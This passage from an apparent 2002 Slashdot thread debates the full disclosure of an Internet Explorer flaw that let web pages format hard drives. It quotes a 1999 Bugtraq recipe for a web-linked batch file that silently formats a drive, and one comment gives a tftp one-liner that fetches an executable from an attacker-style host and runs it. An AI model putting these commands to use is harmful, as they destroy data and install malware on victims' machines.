      That's like saying 'there's a huge security hole in the UNIX 'rm' command, which allows the root user to delete entire filesystems!'

      --
      Vintage computer games and RPG books available. Email me if you're interested.
    2. Re:He Gave Them a Month by Wanker · · Score: 3, Insightful
      Here's an except from Sandblad's report (Nov 6):

      (4) EXPLOIT:
      ============
      The exploit uses a nonpatched "cross site/zone scripting" vulnerability published by Liu Die Yu 2002-10-01 to Bugtraq:
      http://online.securityfocus.com/archive/1/293692
      It could also be possible to use one of the many "cross site/zone scripting" vulnerabilities Greymagic found:
      http://sec.greymagic.com/adv/gm012-ie/
      Re cently I reported a new "cross site/zone scripting" vulnerability to Microsoft that could also be used. But since no patch is yet produced,
      information about it will not be published.


      I agree that the fundamental problem isn't that a "local" computer can do things like execute any arbitray command with arguments. (Well, to a point-- why a web browser needs to do this is another question.) However, these cross-zone exploits are so old and offer such a massive potential for misuse there's no excuse for waiting this long for a fix.

      In short, yes, the right solution is exactly what Microsoft said. So do it!
  58. Controversy? What controversy by tomhudson · · Score: 3, Insightful
    Title: Controversy Surrounds Huge Hole in IE</quote>

    <humor> Now, if someone were to say that there weren't any holes in IE, that would be controversial. this is just "business as usual - where have your files gone today?". </humor>

    It's just unfortunate that this is the sad reality.

  59. Hello footpad! by Chris+Pimlott · · Score: 3, Funny

    Under the rug there's a trapdoor leading to the apartment below me.

    Give up, it's hopeless. Believe me, I tried. Even if you board up all the doors, someone'll still find a way to sneak in through the kitchen window you left ajar and clean out all the treasures in you trophy case. You just can't win.

  60. But is the fault really bugtraq's? by fizbin · · Score: 4, Insightful

    I'm assuming that you have no issue with Bugtraq's posting of the initial advisory from Andreas Sandblad on the 6th. Now, the code that was posted on the 14th (over a week later) that is causing all this ruckus was cut-and-pasted from a discussion going on on ZDNet forums. In other words, those that would do harm already had the code.

    I'll grant you that posting it to Bugtraq probably doesn't add all that much information for the "good guys" (except that the javascript in the "format a:" version is simpler to read), but it has the added benefit of getting someone like Wired to make a big stink out of the whole affair. The publicity is important as a way of getting the bug fixed. Security bugs are viewed by Microsoft (and anyone in the consumer software industry) as PR problems - posting this to Bugtraq doesn't make the bug any worse for users of Microsoft's systems (since the kiddies already have it), but does make it much worse for Microsoft. It's much harder to spin away a bug when live, functioning exploit code is staring you in the face.

  61. Re:Irresponsible? by jdreed1024 · · Score: 3, Funny
    If Linux had an exploit that allowed someone to ssh into your box, su to root, then fsck your harddrive ...

    Are you kidding? If someone wants to fsck my drive for me, that's fine with me. It'll cut down on my boot time.

    --
    There is no sig, there is only Zuul.
  62. Worse than goatse by phorm · · Score: 4, Informative

    Not to troll, but perhaps slashdotters should be extra careful of the links they click (for those on IE) in the near future.
    Goatse is disturbing and easily detected, but I'd imagine that this script could be setup almost anywhere, making it easy to slip in a slashdot comment.

    And yes, I'm sure there are probably enough trolls on here that somebody would try it if they knew how.

  63. What about this? Same debate - different situation by e1en0r · · Score: 4, Interesting

    I actually posted a similar question to "Ask Slashdot" about a year ago. It didn't get accepted, but basically it said the following:

    [snip] This brings up the question of whether or not the benefits of disclosing the information out weigh the problems. While attackers can exploit the holes, it pushes companies to release a patch as soon as possible. Personally I'm all for disclosing the full information. But that got me thinking about another example of security disclosure. After September 11 it was impossible to escape "news reports" speculating on the next terrorist attack and their next weapon. They mentioned that small pox would be a good weapon and went on to detail why. They said we have no cure and we're not prepared for it and basically said that if they used that against us we'd be powerless to stop it. I also saw reports on the least secure airports and how people sneak weapons through security and so on. I was angry when I saw this information being broadcast for anyone, including terrorists, to see. They could easily use this information to plan another attack. The reporters were doing the terrorist's research for them. In theory, these are the same debates. Should vulnerable information be disclosed in order to better prepare for or fix the security hole? I'd be curious what other people think. Can you support full disclosure of security holes in software, but not support full disclosure of certain national security threats without being a hypocrite?

  64. Re:Any kind of bugtraq mailing list by dasunt · · Score: 3, Insightful

    RomikQ asks:
    Do you find information on how to build a nuclear device in your library?

    I do! Its in a section called 'physics'. Another section called 'history' details the Manhatten project. Still another section called 'chemistry' gives me more knowledge on how to refine it. (The chemistry section is helpful for building explosives as well.) Yet another section called 'metalurgy and metalworking' helps me with the manufacturing skills.

    Since you say 'nuclear device', I believe a nuclear pile or dirty bomb would fit in that definition, and the knowledge to build one of those is found in any local library. A true fission bomb needs some information that is not available at the library, but the library gives me one heck of a headstart on a project. For a vehicle bomb with conventional explosives, the library gives more then enough knowledge.

    Ignore the anarchist cookbook, its full of half truths and downright lies. Go to the local university and grab copies of all their science textboks, its a lot more dangerous.

    Just my $.02

  65. "Mined" web pages have been proposed before by Anonymous Coward · · Score: 4, Informative

    Looks like automated formats via "mined" web pages in Explorer have been around for a while now. This Bugtraq link is from back in 1999:

    http://online.securityfocus.com/archive/1/28213/ 20 02-09-30/2002-10-06/0

    Bits of note include:

    "The key is the Format command's "/autotest" flag, which I believe was
    put into place early on in MS-DOS's history to assist in batch
    processing, and was probably dropped from the documentation some time
    back (it's not in my DOS 5.0 manual as far as I can tell -- although
    that's not too far in the past). It can be tested for by entering:
    "Format a: /autotest" at the MS-DOS C:\ prompt.

    The automated format via web page can be accomplished as follows (with
    the example shown demonstrating how to create a link on a web page which
    will automatically format Drive A):

    1) Either:

    Create a .pif file ("Format.pif") with the Command Line set to:

    "C:\WINDOWS\COMMAND\FORMAT.COM a: /autotest"

    And Working Line set to:

    "C:\WINDOWS\COMMAND"

    Or:

    Create a .bat file ("Format.bat") with a single command:

    "format a: /autotest"

    (Should the user wish to format another disk, the a: may be
    replaced with c:, d:, e:, etc.)

    2) Link to the file on a web page as follows:

    Click Me

    Or:

    Click Me

    According to the method chosen for implementation in step 1. These
    links may be placed beneath graphics or text, as would be found on a
    regular web page.

    3) Upload the html document and .pif or .bat file to the targetted web
    server directory and wait for an unwary user to click the link and
    'Open'.

    Spooky, eh?

    These steps don't create a Trojan Horse so much as an out-right "Cyber Mine" which will be activated on a user's machine the instant they click the link and accept the file into their system. As the download of the 1k file is almost instantaneous, damage will be made to the user's data in a matter of seconds. "

  66. It would be interesting... by Cylix · · Score: 4, Insightful

    What would really worry me is if someone cracked into a high traffic sight and added this code. The havoc it would cause would be interesting. ie. slashdot or cnn.com tainted with such code.

    Does anyone remember the time when Yahoo finally found that someone had edited the text on their frontpage. White on white text that could be highlighted. I don't know the details, but I knew about it long before yahoo discovered this.

    It *can* happen, but now companies are definately more security cautious.

    Fortunately, I use mozilla, I made the full time switch and lived with the minor bugs the day Gator mysteriously installed itself on my system while browsing with ie. (there was a previous story on the incident with that exploit).

    --
    "You should always go to other people's funerals; otherwise, they won't come to yours." -- Yogi Berra
  67. If it's already in the wild... by Gyorg_Lavode · · Score: 4, Interesting
    If a vulnerability/exploit combination is already in the wild making it more common is not inappropriate if the maintainer of the source has been contacted. In many cases it expediates the fix which is important when there are no feasable workarounds.

    An example can be seen in the game everquest. There was an exploit that allowed characters to crash portions of the world with almost no effort. It was left in for months because it was mainly contained on one server. It had been /bugged and reported to the maintainers of the game multiple times w/o response.

    Finally, a player from the server became fed up and posted exactly how to exploit it on multiple message boards where it would be widely seen. Within days it was being used on ALL servers with regularity. It was patched in the next patch less than a week later.

    Companies deal with jobs related to their importance which is not only the serverity but the population effected, (if anyone has watched fightclub when he's speaking about his job you get the idea). By spreading the knowledge the importance is increased. And the bugtraq is the best place to spread it as it will get out to as many people responsible for security as possible.

    --
    I do security
  68. True. True. by CrystalFalcon · · Score: 3, Informative
    All intricacies of the built-in format command aside, the instant you run code on my computer, it's not my computer anymore.

    And to be honest, I'd be much more scared about something like
    tftp -i ftp.blackhats.net GET /pub/ownj00.exe & ownj00.exe
    than I would about having my hard disk formatted.

    (Didja know there's a one-step command-line FTP in Windows? Very useful for this kind of activity.)
  69. Simple Solution by ddkilzer · · Score: 3, Insightful

    Download and install Mozilla.

    Yes, Mozilla has had its share of security flaws, but they generally get fixed faster, too.

  70. Re:Irresponsible? by Khazunga · · Score: 3, Insightful
    That's about a month/month-and-a-half. Don't you think they deserve a good solid two months before posting the exploit?
    Nope. If the bug allows someone to have complete access to my computer, for two months, I'd expect MS to release a patch that disables enough features for the bug to be also disabled.

    Not that it affects me. I'm MS free.

    --
    If at first you don't succeed, skydiving is not for you
  71. Thanks for the Help Microsoft! by litewoheat · · Score: 5, Funny

    So I figured that I could avoid this by just deleting the key in my registry for IE help so that the OCX would never load and the exploit wouldn't work. I did that and it solved the problem! But wait... Windows is now trying to "help" me by putting that registry key back the way it was! Thank you so much Windows for saving me from myself and reopening the door to my harddrive. What would I do without you?

  72. Fight javascript with javascript by Anonymous+Custard · · Score: 5, Informative

    After reading the proof-of-concept script at http://online.securityfocus.com/archive/1/298748, I now know at least to avoid blind links.

    Also, I've come up with this possible solution:

    In IE, bring the potentially malicious page to the front, then press Ctrl-O to get the Open prompt. Enter this:

    javascript:void(location.replace=null)

    then click OK. Now anytime that a javascript on that page tries to do a location.replace command will now instead issue a null command (no command at all). (Assuming the script hasn't already been activated, under an onLoad event or something)

    This works with annoying exit pop-up ads too:
    javascript:void(window.onunload=null);

    You can do this with all sorts of javascript commands that get abused. Find some offensive pages, look at their source, and disable the commands you see used often. (onunload is probably the worst and most often used).

    Major inspiration from this cnet builder page.

  73. Malicious? by njdj · · Score: 4, Funny

    security hole in IE that allows malicious web pages to reformat a hard drive

    Surely there's a typo here. If I discover that the computer I'm working on has Windows installed, you're saying that all I need to do to reformat the hard drive is click on one of these web sites?

    1. Re:Malicious? by Da+VinMan · · Score: 4, Insightful

      I doubt you were trying to be funny about this. All I can tell you is this: Go find the exploit code and try it. When you're done filling your pants, go find a Mozilla based browser you like and stick with that.

      Yup, it's that bad. It's getting to the point where I only use IE for intranet applications. What's the point in being the best browser when it's not safe to use?!

      --
      Please mod this post only if you think others should/n't read this. I have enough ego^H^H^Hkarma. Thanks!
  74. Timlock puzzles by karlm · · Score: 5, Insightful
    Look at "Timelock puzzles" or something to that effect by Professor Rivest. You can make the solution to a cryptographic puzzle the decryption key for an exploit. Publish the puzzle and the encrypted explot along with your submission. Give the vendor the decryption key. The problem of repeatedly calulating quadratic residues modulo a Blum integer is essentially non-parallelizable, so it doesn't matter if you set up a beowulf cluster or a distributed.net project. You still only solve the problem as fast as your fastest node. Hence governments don't get the solution much faster than some slashdot reader with a 4 GHz overclocked system. If you have REALLY low latency interconnects, you may be able to spread the work out among several CPUs in the same box.

    This way the vendor knows the clock is ticking, and ance you've published the puzzle and the encrypted exploit no ammount of legal manuvering can put the cat back in the bag, so to speak. Basically, it allows you to put pressure on the vendor while still being responsible and giving the vendor a month (for instance) head start. You can put decent bounds on how long it will take the fastest consumer machines to solve the puzzle. There's currently a puzzle running that's supposed to get completed shortly before the MIT Laboratory for Computer Science's 70th b-day, for instance.

    --
    Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
  75. yes, of course. by twitter · · Score: 4, Insightful
    There was no need to add that payload to the exploit.

    If you don't prove it, they will deny it. The ability to erase everything is the threat that all root exploits pose. It's about time the popular press understood the implications. God knows, M$ spends enough money denying the ability and on Astro turfing where people who suggest such things belong to the tin foil hat camp.

    I hope this blows all the way up to and beyond CNN. I'm tired of people looking at me like I'm crosseyed when I tell them that IE is full of holes that alow others to look at your files and erase them. M$ can'nt buy the entire mass media forever.

    --

    Friends don't help friends install M$ junk.

  76. Re:what is the stink about it.... by karlm · · Score: 3, Informative
    IMHO, if BugTraq is going to post vulns, they need to be non-working, and the user has to have the knowledge to fix them. Especially on closed platforms, it does less good release exploits for code you can't fix, because you're not fixing the problem, you're just working around it.

    umm... I think the cracker community has thier own system of karma, in the form of reputations. The guy who fixes the exploits for the kiddies gets massive ammounts of karma. There are plenty of smart people willing to fix the exploits for the kiddes, if nothing else, it raises the "noise floor" for hunting down the skilled crackers. Posting broken exploits isn't security though obscurity, it's security though denial.

    --
    Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
  77. Was it responsible by I_redwolf · · Score: 4, Interesting

    The Wired talks more about bugtrack's handling of the whole thing, and how it essentially posted working code for the exploit. Was it irresponsible or not?

    What's irresponsible is living in a fantasy world and thinking that Bugtraq are the only ones capable of exploiting a bug like that. Just because you don't talk about it and shh shh it doesn't make the bug disappear and unexploitable. Shit man just like any exploit someone is gonna write code to exploit it if it's in their interest or for fun or just because they are pure evil. With something like this; shit as soon as the exploit was posted I'm sure there were people writing code to exploit the shit.

  78. Ahh, more FUD... by sheldon · · Score: 3, Insightful

    "And, yes, it would be different if this were Linux, or BSD, or even MacOS. All those operating systems come with companies or communities who take security seriously, and they respect their users enough to not foist insecure features on them."

    Really?

    Show me the security bulletin on Redhat's website for the issues found in KDE last August.

    The sad fact is the Linux support community is even worse than Microsoft. They don't even acknowledge problems even after they've been patched by the development team. Maybe it's just a lack of communication mechanisms, but whatever it is it is bizarre.

  79. Re:Irresponsible? by CoolVibe · · Score: 3, Insightful

    Then switch to ext3 and tune2fs those counts away (disable them by setting them to 0). No more waiting. Oh, and upgrading from ext2 to ext3 is painless.

  80. Re:what is the stink about it.... by karlm · · Score: 3, Insightful
    My point is, the cracker community doesn't need bugtraq to even find these exploits.

    Then it doesn't matter at all what Bugtraq does. However, you think this means they shouldn't publish exploits. Your logic is all backwards.

    If it doesn't matter what BugTraq publishes, then BugTraq should publish exploits ported to as many programming languages and platforms as pssible, for educational enlightenment.

    --
    Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
  81. Hummmm by inerte · · Score: 3, Insightful

    Showing people how to automatically format hard disks from a Web page isn't 'full disclosure,'" Smith said. "It is malicious code writing. To an outsider, Symantec's actions give the impression that they are encouraging people to create and release malicious code.

    Yeah, and reading Mein Kampf will make me a nazi.

    Reading about guns will make an assassin.

    Reading Kama Sutra will make me a Don Juan.

    Reading Juan Manuel Fangio's biography will make me a F1 racer.

    But not reading any of these will make me dumb.

    Difficult choice, isn't?

  82. Re:Irresponsible? by Exmet+Paff+Daxx · · Score: 3

    Your case seems awfully hypothetical. Let's go with something more concrete. Your web site, Marotti.com, is vulnerable to this exploit and has been for weeks. All someone who doesn't like you would have to do is just download the exploit and request the appropriate URL, and all your passwords would be overwritten. I mean ANYBODY who reads packetstorm could have done this to you for weeks.

    Don't be silly. Full disclosure is part of the process.

    --
    If guns kill people, then CmdrTaco's keyboard misspells words.
  83. What is the Problem Here? by cranos · · Score: 3, Interesting

    I fail to see how this is controversial in the least. It is just another bug found in a piece of software full of bugs. The guy reporting it gave Microsoft a full month before he went public, that should have been more than enough time to build a patch.

    As for the exploit itself, whats wrong with the code he wrote? If it scares the PHB's into actually demanding a more secure IE from MS then all the better.